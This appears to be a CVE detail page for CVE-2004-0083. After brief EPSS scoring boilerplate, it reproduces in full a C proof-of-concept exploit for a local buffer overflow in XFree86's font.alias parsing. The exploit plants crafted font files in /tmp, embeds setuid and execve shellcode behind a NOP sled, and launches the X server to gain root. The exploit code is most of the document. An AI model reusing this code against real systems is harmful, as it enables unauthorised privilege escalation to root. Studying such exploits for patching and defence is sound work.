CVE-2004-0083 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/9636/info It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitation of this issue may allow an attacker to gain root privileges to the affected system. /* For educational purposes only */ /* Brought to you by bender2@lonestar.org 11.10.2004 */ #include <fcntl.h> #define NOPNUM 8000 #define ADRNUM 1058 /* shellcode from LSD */ char setuidcode[]= /* 8 bytes */ "\x33\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ ; char shellcode[]= /* 24 bytes */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//id" /* pushl $0x68732f2f */ "\x68""/tmp" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; char jump[]= "\x8b\xc4" /* movl %esp,%eax */ "\xc3" /* ret */ ; main(int argc,char **argv){ char buffer[20000],adr[4],pch[4],*b,*envp[4]; int i,fd; *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000; envp[0]=&buffer[2000]; envp[1]=0; printf("adr: 0x%x\n",adr+12000); b=buffer; strcpy(buffer,"1\n"); strcat(buffer,"aaaa.pcf -aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n"); fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666); write(fd,buffer,strlen(buffer)); for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b++='\n'; fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666); write(fd,buffer,strlen(buffer)); close(fd); b=&buffer[2000]; for(i=0;i<NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++) *b++=0x90; for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp); }